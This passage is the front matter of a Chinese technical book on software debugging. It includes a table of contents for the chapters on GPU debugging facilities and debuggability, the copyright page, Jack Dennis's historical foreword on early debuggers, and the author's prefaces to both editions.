8.2.3 超时检测和复位
8.2.4 与CPU之并立
8.3 软件接口
8.3.1 设备寄存器
8.3.2 批命令缓冲区
8.3.3 状态模型
8.4 GPU驱动模型
8.4.1 WDDM
8.4.2 DRI和DRM
8.5 编程技术
8.5.1 着色器
8.5.2 Brook和CUDA
8.5.3 OpenCL
8.6 调试设施
8.6.1 输出调试信息
8.6.2 发布断点
8.6.3 其他断点
8.6.4 单步执行
8.6.5 观察程序状态
8.7 本章小结
参考资料
第9章 Nvidia GPU及其调试设施
9.1 概要
9.1.1 一套微架构
9.1.2 三条产品线
9.1.3 封闭
9.2 微架构
9.2.1 G80(特斯拉1.0微架构)
9.2.2 GT200(特斯拉2.0微架构)
9.2.3 GF100(费米微架构)
9.2.4 GK110(开普勒微架构)
9.2.5 GM107(麦斯威尔微架构)
9.2.6 GP104(帕斯卡微架构)
9.2.7 GV100(伏特微架构)
9.2.8 持续改进
9.3 硬件指令集
9.3.1 SASS
9.3.2 指令格式
9.3.3 谓词执行
9.3.4 计算能力
9.3.5 GT200的指令集
9.3.6 GV100的指令集
9.4 PTX指令集
9.4.1 汇编和反汇编
9.4.2 状态空间
9.4.3 虚拟寄存器
9.4.4 数据类型
9.4.5 指令格式
9.4.6 内嵌汇编
9.5 CUDA
9.5.1 源于Brook
9.5.2 算核
9.5.3 执行配置
9.5.4 内置变量
9.5.5 Warp
9.5.6 显式并行
9.6 异常和陷阱
9.6.1 陷阱指令
9.6.2 陷阱后缀
9.6.3 陷阱处理
9.7 系统调用
9.7.1 vprintf
9.7.2 malloc和free
9.7.3 __assertfail
9.8 断点指令
9.8.1 PTX的断点指令
9.8.2 硬件的断点指令
9.9 Nsight的断点功能
9.9.1 源代码断点
9.9.2 函数断点
9.9.3 根据线程组和线程编号设置条件断点
9.10 数据断点
9.10.1 设置方法
9.10.2 命中
9.10.3 数量限制
9.10.4 设置时机
9.11 调试符号
9.11.1 编译选项
9.11.2 ELF载体
9.11.3 DWARF
9.12 CUDA GDB
9.12.1 通用命令
9.12.2 扩展
9.12.3 局限
9.13 CUDA调试器API
9.13.1 头文件
9.13.2 调试事件
9.13.3 工作原理
9.14 本章小结
参考资料
第10章 AMD GPU及其调试设施
10.1 演进简史
10.1.1 三个发展阶段
10.1.2 两种产品形态
10.2 Terascale微架构
10.2.1 总体结构
10.2.2 SIMD核心
10.2.3 VLIW
10.2.4 四类指令
10.3 GCN微架构
10.3.1 逻辑结构
10.3.2 CU和波阵
10.3.3 内存层次结构
10.3.4 工作组
10.3.5 多执行引擎
10.4 GCN指令集
10.4.1 7种指令类型
10.4.2 指令格式
10.4.3 不再是VLIW指令
10.4.4 指令手册
10.5 编程模型
10.5.1 地幔
10.5.2 HSA
10.5.3 ROCm
10.5.4 Stream SDK和APP SDK
10.5.5 Linux系统的驱动
10.6 异常和陷阱
10.6.1 9种异常
10.6.2 启用
10.6.3 陷阱状态寄存器
10.6.4 陷阱处理器基地址
10.6.5 陷阱处理过程
10.7 控制波阵的调试接口
10.7.1 5种操作
10.7.2 指定目标
10.7.3 发送接口
10.7.4 限制
10.8 地址监视
10.8.1 4种监视模式
10.8.2 数量限制
10.8.3 报告命中
10.8.4 寄存器接口
10.8.5 用户空间接口
10.9 单步调试支持
10.9.1 单步调试模式
10.9.2 控制方法
10.10 根据调试条件实现分支跳转的指令
10.10.1 两个条件标志
10.10.2 4条指令
10.11 代码断点
10.11.1 陷阱指令
10.11.2 在GPU调试SDK中的使用
10.12 GPU调试模型和开发套件
10.12.1 组成
10.12.2 进程内调试模型
10.12.3 面向事件的调试接口
10.13 ROCm-GDB
10.13.1 源代码
10.13.2 安装和编译
10.13.3 常用命令
10.14 本章小结
参考资料
第11章 英特尔GPU及其调试设施
11.1 演进简史
11.1.1 i740
11.1.2 集成显卡
11.1.3 G965
11.1.4 Larabee
11.1.5 GPU
11.1.6 第三轮努力
11.1.7 公开文档
11.2 GEN微架构
11.2.1 总体架构
11.2.2 片区布局
11.2.3 子片布局
11.2.4 EU
11.2.5 经典架构图
11.3 寄存器接口
11.3.1 两大类寄存器
11.3.2 显示功能的寄存器
11.4 命令流和环形缓冲区
11.4.1 命令
11.4.2 环形缓冲区
11.4.3 环形缓冲区寄存器
11.5 逻辑环上下文和执行列表
11.5.1 LRC
11.5.2 执行链表提交端口
11.5.3 理解LRC的提交和执行过程
11.6 GuC和通过GuC提交任务
11.6.1 加载固件和启动GuC
11.6.2 以MMIO方式通信
11.6.3 基于共享内存的命令传递机制
11.6.4 提交工作任务
11.7 媒体流水线
11.7.1 G965的媒体流水线
11.7.2 MFX引擎
11.7.3 状态模型
11.7.4 多种计算方式
11.8 EU指令集
11.8.1 寄存器
11.8.2 寄存器区块
11.8.3 指令语法
11.8.4 VLIW和指令级别并行
11.9 内存管理
11.9.1 GGTT
11.9.2 PPGTT
11.9.3 I915和GMMLIB
11.10 异常
11.10.1 异常类型
11.10.2 系统过程
11.11 断点支持
11.11.1 调试控制位
11.11.2 操作码匹配断点
11.11.3 IP匹配断点
11.11.4 初始断点
11.12 单步执行
11.13 GT调试器
11.13.1 架构
11.13.2 调试事件
11.13.3 符号管理
11.13.4 主要功能
11.13.5 不足
11.14 本章小结
参考资料
第12章 Mali GPU及其调试设施
12.1 概况
12.1.1 源于挪威
12.1.2 纳入ARM
12.1.3 三代微架构
12.1.4 发货最多的图形处理器
12.1.5 精悍的团队
12.1.6 封闭的技术文档
12.1.7 单元化设计
12.2 Midgard微架构
12.2.1 逻辑结构
12.2.2 三流水线着色器核心
12.2.3 VLIW指令集
12.3 Bifrost微架构
12.3.1 逻辑结构
12.3.2 执行核心
12.3.3 标量指令集和Warp
12.4 Mali图形调试器
12.4.1 双机模式
12.4.2 面向帧调试
12.5 Gator
12.5.1 Gator内核模块(gator.ko)
12.5.2 Gator文件系统(gatorfs)
12.5.3 Gator后台服务(gatord)
12.5.4 Kbase驱动中的gator支持
12.5.5 含义
12.6 Kbase驱动的调试设施
12.6.1 GPU版本报告
12.6.2 编译选项
12.6.3 DebugFS下的虚拟文件
12.6.4 SysFS下的虚拟文件
12.6.5 基于ftrace的追踪设施
12.6.6 Kbase的追踪设施
12.7 其他调试设施
12.7.1 Caiman
12.7.2 devlib
12.7.3 Mali离线编译器
12.8 缺少的调试设施
12.8.1 GPGPU调试器
12.8.2 GPU调试SDK
12.8.3 反汇编器
12.8.4 ISA文档
12.9 本章小结
参考资料
第13章 PowerVR GPU及其调试设施
13.1 概要
13.1.1 发展简史
13.1.2 两条产品线
13.1.3 基于图块延迟渲染
13.1.4 Intel GMA
13.1.5 开放性
13.2 Rogue微架构
13.2.1 总体结构
13.2.2 USC
13.2.3 ALU流水线
13.3 参考指令集
13.3.1 寄存器
13.3.2 指令组
13.3.3 指令修饰符
13.3.4 指令类型
13.3.5 标量指令
13.3.6 并行模式
13.4 软件模型和微内核
13.4.1 软件模型
13.4.2 微内核的主要功能
13.4.3 优点
13.4.4 存在的问题
13.5 断点支持
13.5.1 bpret指令
13.5.2 数据断点
13.5.3 ISP断点
13.6 离线编译和反汇编
13.6.1 离线编译
13.6.2 反汇编
13.7 PVR-GDB
13.7.1 跟踪调试
13.7.2 寄存器访问
13.7.3 其他功能
13.7.4 全局断点和局限性
13.8 本章小结
参考资料
第14章 GPU综述
14.1 比较
14.1.1 开放性
14.1.2 工具链
14.1.3 开发者文档
14.2 主要矛盾
14.2.1 专用性和通用性
14.2.2 强硬件和弱软件
14.3 发展趋势
14.3.1 从固定功能单元到通用执行引擎
14.3.2 从向量指令到标量指令
14.3.3 从指令并行到线程并行
14.4 其他GPU
14.4.1 Adreno
14.4.2 VideoCore
14.4.3 图芯GPU
14.4.4 TI TMS34010
14.5 学习资料和工具
14.5.1 文档
14.5.2 源代码
14.5.3 工具
14.6 本章小结
参考资料
第四篇 可调试性
第15章 可调试性概览
15.1 简介
15.2 观止和未雨绸缪
15.2.1 NT 3.1的故事
15.2.2 未雨绸缪
15.3 基本原则
15.3.1 最短距离原则
15.3.2 最小范围原则
15.3.3 立刻终止原则
15.3.4 可追溯原则
15.3.5 可控制原则
15.3.6 可重复原则
15.3.7 可观察原则
15.3.8 易辨识原则
15.3.9 低海森伯效应原则
15.4 不可调试代码
15.4.1 系统的异常分发函数
15.4.2 提供调试功能的系统函数
15.4.3 对调试器敏感的函数
15.4.4 反跟踪和调试的程序
15.4.5 时间敏感的代码
15.4.6 应对措施
15.5 可调试性例析
15.5.1 健康性检查和BSOD
15.5.2 可控制性
15.5.3 公开的符号文件
15.5.4 WER
15.5.5 ETW和日志
15.5.6 性能计数器
15.5.7 内置的内核调试引擎
15.5.8 手动触发崩溃
15.6 与安全、商业秘密和性能的关系
15.6.1 可调试性与安全性
15.6.2 可调试性与商业秘密
15.6.3 可调试性与性能
15.7 本章小结
参考资料
第16章 可调试性的实现
16.1 角色和职责
16.1.1 架构师
16.1.2 程序员
16.1.3 测试人员
16.1.4 产品维护和技术支持工程师
16.1.5 管理者
16.2 可调试架构
16.2.1 日志
16.2.2 输出调试信息
16.2.3 转储
16.2.4 基类
16.2.5 调试模型
16.3 通过栈回溯实现可追溯性
16.3.1 栈回溯的基本原理
16.3.2 利用DbgHelp函数库回溯栈
16.3.3 利用RTL函数回溯栈
16.4 数据的可追溯性
16.4.1 基于数据断点的方法
16.4.2 使用对象封装技术来追踪数据变化
16.5 可观察性的实现
16.5.1 状态查询
16.5.2 WMI
16.5.3 性能计数器
16.5.4 转储
16.5.5 打印或者输出调试信息
16.5.6 日志
16.6 自检和自动报告
16.6.1 BIST
16.6.2 软件自检
16.6.3 自动报告
16.7 本章小结
参考资料
版权信息
书名:软件调试(第2版)卷1:硬件基础
ISBN:978-7-115-49250-0
本书由人民邮电出版社发行数字版。版权所有,侵权必究。
您购买的人民邮电出版社电子书仅供您个人使用,未经授权,不得
以任何方式复制和传播本书内容。
我们愿意相信读者具有这样的良知和觉悟,与我们共同保护知识产
权。
如果购买者有侵权行为,我们可能对该用户实施包括但不限于关闭
该帐号等维权措施,并可能追究法律责任。
版权
著 张银奎
责任编辑 陈冀康
人民邮电出版社出版发行 北京市丰台区成寿寺路11号
邮编 100164 电子邮件 [email protected]
网址 http://www.ptpress.com.cn
读者服务热线:(010)81055410
反盗版热线:(010)81055315
内容提要
本书堪称是软件调试的“百科全书”。作者围绕软件调试的“生态”系
统(ecosystem)、异常(exception)和调试器 3 条主线,介绍软件调试
的相关原理和机制,探讨可调试性(debuggability)的内涵、意义以及
实现软件可调试性的原则和方法,总结软件调试的方法和技巧。
第1卷主要围绕硬件技术展开介绍。全书分为4篇,共16章。第一
篇“绪论”(第1章),介绍了软件调试的概念、基本过程、分类和简要
历史,并综述了本书后面将详细介绍的主要调试技术。第二篇“CPU及
其调试设施”(第2~7章),以英特尔和ARM架构的CPU为例系统描述
了CPU的调试支持。第三篇“GPU及其调试设施”(第8~14章),深入
探讨了Nvidia、AMD、英特尔、ARM和Imagination 这五大厂商的
GPU。第四篇“可调试性”(第15~16章),介绍了提高软件可调试性的
意义、基本原则、实例和需要注意的问题,并讨论了如何在软件开发实
践中实现可调试性。
本书理论与实践紧密结合,既涵盖了相关的技术背景知识,又针对
大量具有代表性和普遍意义的技术细节进行了讨论,是学习软件调试技
术的宝贵资料。本书适合所有从事软件开发工作的读者阅读,特别适合
从事软件开发、测试、支持的技术人员,从事反病毒、网络安全、版权
保护等工作的技术人员,以及高等院校相关专业的教师和学生学习参
考。
历史回眸
我是1949年进入麻省理工学院(MIT)的。就在那一年,第一台存
储程序计算机在英国的剑桥和曼彻斯特开始运行。我的一个本科同学
Kenneth Ralston是学数学的,他偶尔会和我如痴如醉地谈起一台神秘的
机器,说这台机器当时正在MIT附近的Smart街上的Barta楼内组装。我
的好奇心后来在1954年的秋天得到了满足,那时我开始学习我的第一门
计算机课程“数字计算机编码与逻辑”。那门课程是Charles Adams教的,
他是自动编程(现在称为编译)领域的先锋。当时使用的机器叫作“旋
风”,被放置在一间充满了真空管电路的房间内。它由美国海军投资建
立,用来研究飞机模拟。
因为我的知识背景及我所完成的电子工程专业的硕士课程,一个助
研基金约请我在旋风计算机上用“最速下降法”解决一个最优化问题。这
让我彻底熟悉了那一套烦琐的程序准备工作。我们以旋风机器的汇编语
言编写程序,然后使用Friden电传打字机将以字符和数字表示的代码以
打孔的方式输出到纸带上。纸带是用一个Ferrante光电读出器读入计算
机的,然后交给“综合系统2”的“系统软件”进行处理。处理结果是一个
二进制纸带,以大约每秒钟10行的速度打孔出来,每行代表一个6位字
符。而后,用户可以调用一个简单的装载程序(装载程序是保存在几个
可以来回交换的内存单元中的)将二进制的纸带装入2048字的内存中,
之后就期待着程序的正常运行。用户也可以在控制台的电传打字机上调
用“综合系统”的输出例程来把结果打印出来,或者把它们写到一个原始
的磁带单元中,留待以后离线打印。
那时最漂亮的输出设备是CRT显示屏,用户可以在上面一个点一个
点地画出图表和图片。上面配备了一部照相机,可以把显示的图片录制
在胶片上。系统程序员已经开发好了“崩溃照相”功能,可以把程序出错
时内存中的内容显示在CRT显示屏上。用户可以在第二天早上取到显影
后的胶片,然后用一个缩微胶卷阅读器来研究上面的八进制数字。在那
时,这是调试旋风程序的主要方法,除此之外,就是把中间结果打印出
来。
大多数我们这样的普通用户不知道的是,在Barta楼里有一个后屋,
在那里第一个基于计算机的飞机跟踪和威胁检测系统上的分类工作正在
进行。那里放置了一些更先进的设备,有很多台PPI(计划和位置标识
器)显示器,并且已经开发出了第一个定点设备—— 光笔,用来跟计
算机实时交互。
旋风计算机最初的主内存是威廉斯管型的,这还不足以满足实时操
作的可靠性标准。这一需求带动了相关研究工作并促进了磁心内存的产
生。旋风工程师建造了一个非常简单的计算机,称作内存测试机
(MTC),用来测试新的内存。因为新内存表现良好,所以立刻把它安
装在旋风计算机上,而后MTC也就功成身退了。
旋风计算机上的工作促使了MIT林肯实验室的成立,实验室的主要
责任是基于旋风计算机上的实时系统技术开发一个美国国家空中防御系
统。同时,林肯实验室也进行了计算机技术的研究,并建立了两台使用
新的晶体管技术的机器TX-0和TX-2。之所以编号都是偶数,是因为奇
数(odd)在英文中同时有古怪的意思,主管设计者之一Wesley Clark曾
经说:“林肯不做奇数的(古怪的)计算机”。TX-0和TX-2的关系类似
于MTC和旋风的关系:TX-0用于测试非常大的(按当时标准)内存,
然后这些内存再用于功能更强大的TX-2。这些新机器继承了旋风系统中
使用CRT显示屏和发光笔这些与用户实时交互的能力,同时也保留了使
用纸带作为程序的主要介质。
在开发TX-0的同时,在MIT安装了一台IBM 704机器。它用来补充
并最终接替了旋风作为MIT一般用户的主计算机。当林肯实验室不再需
要TX-0后,MIT电子工程系长期租用了它。MIT的师生(特别是电子研
究实验室的师生),都为拥有了一台计算机而大喜过望,因为从此研究
人员便可以自由使用并亲手操作这台计算机,这要比IBM 704计算机采
用的批处理方式方便得多。
我于1958年8月完成了我的博士论文,成为一个四处寻找机遇的学
校教员。我的新办公室在康普顿实验室楼(26号楼)的二楼。有一天那
里发生的事情引起了我的注意,人们正在一块宽广的区域安装一台TX-
0,它的位置就在IBM 704计算机的正上方。
与TX-0一起到来的软件工具只有两个,一个是简单的汇编器程序,
另一个是“UT-3”(3号工具纸带)。两个程序都是二进制打孔纸带的形
式,没有源代码。因为它们是以八进制代码手工输入的。UT-3通过一个
控制台打字机与用户交互(这里仍然是一个电传打字机,它包含了普通
打字机的功能,可以被用户或被TX-0所驱动,将输入的字符传递到计算
机或打印在纸上;这台打字机还带有一个机械纸带打孔器和阅读器,可
以将字符打在纸带上或从纸带把字符读入计算机中)。用户可以以八进
制形式把数据输入到指定的内存位置,也可以要求打印指定内存位置或
区域的内容。在MIT,我们马上着手给这两个程序增加功能。汇编器最
后演化为一个叫作MACRO的程序,除了有其他熟悉的汇编语言功能
外,它还支持宏指令(宏功能是从Doug McIlroy在贝尔实验室的研究工
作中得到启发的)。
有了汇编器后,就使得大范围重写和扩展UT-3成为可能。Tom
Stockham和我使新的程序支持符号,新的程序可以使用汇编器生成的符
号表。我们把这个程序称作FLIT(电传打字机询问纸带),这个名字仿
用了当时一个很常用的杀虫喷雾剂的名字(当Grace Hopper在哈佛的继
电器计算机上工作时,跟踪到一次故障是由于继电器触点上的一只飞蛾
造成的,从此人们开始把计算机的问题称作bug,即“臭虫”)。FLIT最
重要的功能是为调试程序(“除虫”)提供了断点设施。用户可以要求
FLIT在被测试程序中向指定的指令位置插入最多4个断点。当被测试的
程序遇到一个断点时,FLIT 会通知用户,并且允许用户分析或修改内
存的内容。分析结束后,用户可以要求FLIT继续执行程序,就像没有中
断过一样。FLIT程序是后来的DDT(另一种杀虫剂)调试程序的典范,
DDT是MIT的学生为DEC公司生产的PDP-1计算机开发的。
FLIT(以及TX-0)的缺点之一是,没有办法防止被测试程序向调
试程序占用的内存里存储数据,这会使调试程序停止工作。在给DEC
PDP-1建立分时系统时,我们做了特别的设计,使得DDT与待测试的程
序在各自的地址空间中执行,但DDT仍可以观察和改变被测试程序中的
信息。我们把它称为“隐身调试器”。为了提供这种保护,需要对PDP-1
增加一些逻辑,它们是随着为支持分时系统而做的更改和补充一起安装
的。这个系统在1963年前后开始运行。
PDP-1上的分时系统为伯克利加州大学在SDS 940上建立的分时系
统提供了典范(L. Perter Deutsch兜里装着的那个小操作系统从MIT转移
到了伯克利加州大学)。我隐约地相信,隐身调试器的机制对于DEC
PDP-11/45的设计产生了重要影响,贝尔实验室就为这个系统开发了
UNIX。
Jack B. Dennis
2008年4月于马萨诸塞州贝尔蒙特
第2版前言
在900多年前的一个秋夜,一轮明月高高地挂在黄州的天空。夜深
了,很多人都已经入睡。但在承天寺的庭院里,还有两个人在散步。他
们一边交谈,一边欣赏美丽的夜景。洁白的月光泼洒在庭院里,像是往
庭院里注入了一汪汪清水,把地面变成了水面,清澈透明。翠竹和松柏
的影子映在其中,随风摇摆,仿佛水草在晃动。这两个人中,一位是大
文豪苏轼,另一位是他的好朋友张怀民。这一年是公元1083年,苏轼46
岁。
可能是在当晚,也可能是在第二日,苏轼写了一篇短文来记录这次
夜游。这篇短文便是著名的《记承天寺夜游》。第一次看到这篇散文,
我便爱不释手。每次读苏轼文集,都喜欢把这一篇再读一遍。文章很
短,不足百字,但意境隽永,令人回味无穷。
“元丰六年十月十二日夜,解衣欲睡,月色入户,欣然起行。 念无
与为乐者,遂至承天寺寻张怀民。怀民亦未寝,相与步于中庭。庭下如
积水空明,水中藻荇交横,盖竹柏影也。”
文末的议论尤其脍炙人口:“何夜无月?何处无竹柏?但少闲人如
吾两人者耳。”
诚然,月夜常有,竹子和松树也很平常,但是这样的夜游不常有。
2013年深秋,与十几位喜欢调试技术的朋友在庐山五老峰下的白鹿
洞书院聚会,吃过晚饭大家坐在古老的书院里交流调试技术,直到夜里
10点左右。然后,大家又聚集在延宾馆的庭院里,一边海阔天空地聊
天,一边欣赏美丽的夜景。说话的间隙可以听见院子外面贯道溪的哗哗
水声;抬起头,便看到满天的星斗。
2008年6月3日,作者收到了出版社快递给我的《软件调试》第1
版,喜不自禁,写了一篇博客,名为“手捧汗水的感觉”。
弹指一挥间,十年过去了。十年中,因为《软件调试》作者认识了
很多朋友。他们有不同的年龄,不同的背景,工作在不同的地方,但都
有一个共同点——读过《软件调试》。
2011年9月,《软件调试》第1版出版3年后,作者便开始计划和写
作第2版。但只坚持了一年便停顿了。之后写写停停,进展很缓慢。直
到2016年年底,从工作了十几年的英特尔公司辞职后,作者才又“重操
旧业”。
过去的十年中,计算机领域发生了很多重大的变革。顺应这些变
革,新的版本需要增加很多内容。简单来说,第2版卷1新增了以下内
容。
关于CPU增加了ARM处理器的相关内容。
关于操作系统增加了Linux系统的相关内容。
关于编译器增加了GCC的相关内容。
关于调试器增加了GDB的相关内容。
增加了全新的GPU内容。
新增这些内容后,如果再装订成一本书,那么肯定比砖头还厚。经
过反复思考和调整,最后终于确定了分卷出版的方案。卷1覆盖处理器
等基础内容,卷2、卷3分别介绍Windows系统和Linux系统的调试。
确定了新的分卷结构后,作者强迫自己投入更多的时间写作,快步
向前推进。终于在2018年6月把卷1的书稿发给了出版社。
卷1共16章,分为4篇。
第一篇:绪论(第1章)
作为全书的开篇,这一篇介绍了软件调试的概念、基本过程、分类
和简要历史,并综述了本书后面将详细介绍的主要调试技术。
第二篇:CPU及其调试设施(第2~7章)
CPU是计算机系统的硬件核心。这一篇以英特尔和ARM架构的CPU
为例,系统描述了CPU的调试支持,包括如何支持软件断点、硬件断点
和单步调试(参见第4章),如何支持硬件调试器(参见第7章),记录
分支、中断、异常和支持性能分析的方法(参见第5章),以及支持硬
件可调试性的错误检查和报告机制—— MCA(机器检查架构)(参见
第6章)。为了帮助读者理解这些内容,以及本书后面的内容,第2章介
绍了关于CPU的一些基础知识,包括指令集、寄存器和保护模式,第3
章深入介绍了与软件调试关系密切的中断和异常机制。与第1版相比,
第2版不仅扩展了原来关于x86处理器的内容,还新增了ARM处理器的
内容。
第三篇:GPU及其调试设施(第8~14章)
这是第1版没有的全新内容,分7章深入探讨了Nvidia、AMD、英特
尔、ARM和Imagination这五大厂商的GPU。从某种程度上说,CPU的时
代已经过去,GPU的时代正在开启。经历了半个多世纪的发展,CPU已
经很成熟,CPU领域的创新机会越来越少。CPU仍会存在,但不会再热
门。而GPU领域则像是一块新大陆,有很多地方还是荒野,等待开垦,
仿佛19世纪的美国西部,或者20世纪末的上海浦东。
第四篇:可调试性(第15~16章)
提高软件调试效率是一项系统的工程,除了CPU、操作系统和编译
器所提供的调试支持外,被调试软件本身的可调试性也是至关重要的。
这一篇首先介绍了提高软件可调试性的意义、基本原则、实例和需要注
意的问题(参见第15章),然后讨论了如何在软件开发实践中实现可调
试性(参见第16章)。第16章的内容包括软件团队中各个角色应该承担
的职责,实现可追溯性、可观察性和自动报告的方法。
在内容格式上,第2版也有所变化。首先,新增了名为“格物致
知”的实践模块。读者可以下载试验材料,然后按照书中的指导步骤进
行操作。在理论和实践方面,朱熹曾说:“言理则无可捉摸,物有时而
离。言物则理自在,自是离不得。”这句话的意思是,空讲理论可能让
人摸不着头脑,把理论和实践分离开来;相反,讲具体的事物,自然就
包含了道理,二者是分不开的。好一个“言物则理自在”,真是至理名
言。其实,“言物”除了有朱熹说的“言物则理自在”好处外,还有生动有
趣的优点。为此,第2版不仅新增了专门言物的“格物致知”模块,很多
章节的正文内容也是本着这个思想来写作的。
另外,第2版还增加了评点模块——“老雷评点”和“格友评点”。“老
雷评点”是“格蠹老雷”所评,“格友评点”为“格友”评点。“格蠹老雷”是作
者的绰号。“格友”者,“格蠹老雷”之友也。“格”字源于上文所说之格
物。在古老的《易经》中,8个基本符号中有一个为震,象征雷,代表
着锐意创新和开拓进取。
感谢苏轼,他用优美的文字清晰记录了900多年前的那个夜晚表现
了作者心向往之的那种意境,让我们可以穿越时空,领略一代文豪的生
活和心灵世界。感谢更多曾经著书立说的前辈,他们用文字向我们传递
了他们的思想和智慧。
感谢缔造软件的前辈们,他们创造了一种新的形式来传递智慧。感
谢父母,把我生在这个美好的软件时代。乐哉,三生有幸做软件。
因为书,自古便有读书之乐,穿越时空,悟前人心境,获前人智
慧。因为软件,今天有调试之乐,电波传语,与硅片对谈,赏匠心之
美,品设计之妙。希望本书可以让读者同时体验读书之乐和调试之乐。
当然,如果读者能以此结缘,结交一两个可以在月朗星稀之夜“相与步
于中庭”的朋友就更好了。
张银奎(Raymond Zhang)
2018年7月25日于上海格蠹轩
第1版前言
现代计算机是从20世纪40年代开始出现的。当时的计算机比今天的
要庞大很多,很多部件也不一样,但是有一点是完全相同的,那就是靠
执行指令而工作。
一台计算机认识的所有指令被称为它的指令集(instruction set)。
按照一定格式编写的指令序列被称为程序(program)。在同一台计算
机中,执行不同的程序,便可以完成不同的任务,因此,现代计算机在
诞生之初常被冠以通用字样,以突出其通用性。在带来好处的同时,通
用性也意味着当人们需要让计算机完成某一件事情时,首先要编写一个
能够完成这件事的程序,然后才执行这个程序来真正做这件事。使用这
种方法的过程中,人们很快就意识到了两个严峻的问题:一是编写程序
需要很多时间;二是当把编写好的程序输入计算机中执行时,有时它会
表现出某些出乎意料的怪异行为。因此,首先不得不寻找怪异行为的根
源,然后改写程序,如此循环,直到目标基本实现为止,或者因没有时
间和资源继续做这件事而不得不放弃。
程序对计算机的重要性和编写程序的复杂性让一些人看到了商机。
大约在20世纪50年代中期,专门编写程序的公司出现了。几年后,模仿
硬件(hardware)一词,人们开始使用软件(software)这个词来称呼计
算机程序和它的文档,并把将用户需求转化为软件产品的整个过程称为
软件开发(software development),将大规模生产软件产品的社会活动
称为软件工程(software engineering)。
如今,几十年过去了,我们看到的是一个繁荣而庞大的软件产业。
但是前面描述的两个问题依然存在:一是编写程序仍然需要很多时间;
二是编写出的程序在运行时仍然会出现意料外的行为。同时,后一个问
题的表现形式越来越多,在运行过程中,程序可能会突然报告一个错
误,可能会给出一个看似正确却并非需要的结果,可能会自作聪明地自
动执行一大堆无法取消的操作,可能会忽略用户的命令,可能会长时间
没有反应,可能会直接崩溃或者永远僵死在那里……而且总是可能有无
法预料的其他情况出现。这些“可能”大多是因为隐藏在软件中的设计失
误而导致的,即所谓的软件臭虫(bug),或者软件缺欠(defect)。
计算机是在软件指令的指挥下工作的,让存在缺欠的软件指挥强大
的计算机硬件工作是件危险的事,可能导致惊人的损失和灾难性的事件
发生。2003年8月14日,北美大停电(Northeast Blackout of 2003)使50
万人受到影响,直接经济损失60亿美元,其主要原因是软件缺欠导致报
警系统没有报警。1999年9月23日,美国的火星气象探测船因为没有进
入预定轨道从而导致受到大气压力和摩擦而被摧毁,其原因是不同模块
使用的计算单位不同,使计算出的轨道数据出现严重错误。1990年1月
15日,AT&T公司的100多台交换机崩溃并反复重新启动,导致6万用户
在9h中无法使用长途电话,其原因是新使用的软件在接收到某一种消息
后会导致系统崩溃,并把这种症状传染给与它相邻的系统。1962年7月
22日,“水手一号”太空船发射293s后因为偏离轨道而被销毁,其原因也
与软件错误有直接关系。类似的故事还有很多,尽管我们不希望它们发
生。
一方面,软件缺欠难以避免;另一方面,软件缺欠的危害很大。这
使得消除软件缺欠成为软件工程中的一项重要任务。消除软件缺欠的前
提是要找到导致缺欠的根本原因。我们把探索软件缺欠的根源并寻求其
解决方案的过程称为软件调试(software debugging)。
软件调试是在复杂的计算机系统中寻找软件缺欠的根源。这是让软
件从业者头疼的一项任务。要在软件调试中游刃有余,需要对软件和计
算机系统有深刻的理解,选用科学的方法,并使用强有力的工具。
第2版说明
本书的写作目的
在复杂的计算机系统中寻找软件缺欠的根源不是一个简单的任务,
需要对软件和计算机系统有深刻的理解,选用科学的方法,并使用强有
力的工具。这些正是作者写作本书的初衷。具体来说,写作本书的3个
主要目的如下。
论述软件调试的一般原理,包括CPU、操作系统和编译器是如何支
持软件调试的,内核态调试和用户态调试的工作模型,以及调试器
的工作原理。软件调试是计算机系统中多个部件之间的一个复杂交
互过程。要理解这个过程,必须要了解每个部件在其中的角色和职
责,以及它们的协作方式。学习这些原理不仅对提高软件工程师的
调试技能至关重要,还有利于加深他们对计算机系统的理解,将计
算机原理、编译原理、操作系统等多个学科的知识融会贯通。
探讨可调试性(debuggability)的内涵、意义和实现软件可调试性
的原则与方法。所谓软件的可调试性就是在软件内部加入支持调试
的代码,使其具有自动记录、报告和诊断的能力,从而更容易调
试。软件自身的可调试性对于提高调试效率、增强软件的可维护
性,以及保证软件的如期交付都有着重要意义。软件的可调试性是
软件工程中一个很新的领域,本书对其进行了深入系统的探讨。
交流软件调试的方法和技巧。尽管论述一般原理是本书的重点,但
是本书同时穿插了许多实践性很强的内容。其中包括调试用户态程
序和系统内核模块的基本方法,如何诊断系统崩溃(BSOD)和应
用程序崩溃,如何调试缓冲区溢出等与栈有关的问题,如何调试内
存泄漏等与堆有关的问题。特别是,本书非常全面地介绍了
WinDBG调试器的使用方法,给出了大量使用这个调试器的实例。
上一段所描述内容将在后续分卷中单独介绍。
总之,作者希望通过本书让读者懂得软件调试的原理,意识到软件
可调试性的重要性,学会基本的软件调试方法和调试工具的使用,并能
应用这些方法和工具解决问题和学习其他软硬件知识。历史证明,所有
软件技术高手都是软件调试高手,或者说不精通软件调试技术不可能成
为(也不能算是)软件技术高手。本书希望带领读者走上这条高手之
路。
本书的读者对象
第一,本书是写给所有程序员的。程序员是软件开发的核心力量。
他们花大量的时间来调试他们所编写的代码,有时为此工作到深夜。作
者希望程序员读完本书后能自觉地在代码中加入支持调试的代码,使调
试能力和调试效率大大提高,不再因为调试程序而加班。本书中关于
CPU、中断、异常和操作系统的介绍,是很多程序员需要补充的知识,
因为对硬件和系统底层的深刻理解不但有利于写出好的应用程序,而且
对于程序员的职业发展也是有利的。之所以说写给“所有”程序员是因为
本书主要讨论的是一般原理和方法,没有限定某种编程语言和某个编程
环境,也没有局限于某个特定的编程领域。
第二,本书是写给从事测试、验证、系统集成、客户支持、产品销
售等工作的软件工程师或IT工程师的。他们的职责不是编写代码,因此
软件缺欠与他们不直接相关,但是他们也经常因为软件缺欠而万分焦
急。他们不需要负责修改代码并纠正问题,但是他们需要知道找谁来解
决这个问题。因此,他们需要把错误定位到某个模块,或者至少定位到
某个软件。本书介绍的工具和方法对于实现这个目标是非常有益的。另
外,他们也可以从关于软件可调试性的内容中得到启发。本书关于
CPU、操作系统和编译器的内容对于提高他们的综合能力并巩固软硬件
知识也是有益的。
第三,本书是写给从事反病毒、网络安全、版权保护等工作的技术
人员的。他们经常面对各种怪异的代码,需要在没有代码和文档的情况
下做跟踪和分析。这是计算机领域中非常具有挑战性的工作。关于调试
方法和WinDBG的内容有利于提高他们的效率。很多恶意软件故意加入
了阻止调试和跟踪的机制,本书的原理性内容有助于理解这些机制。
第四,本书是写给计算机、软件、自动控制、电子学等专业的研究
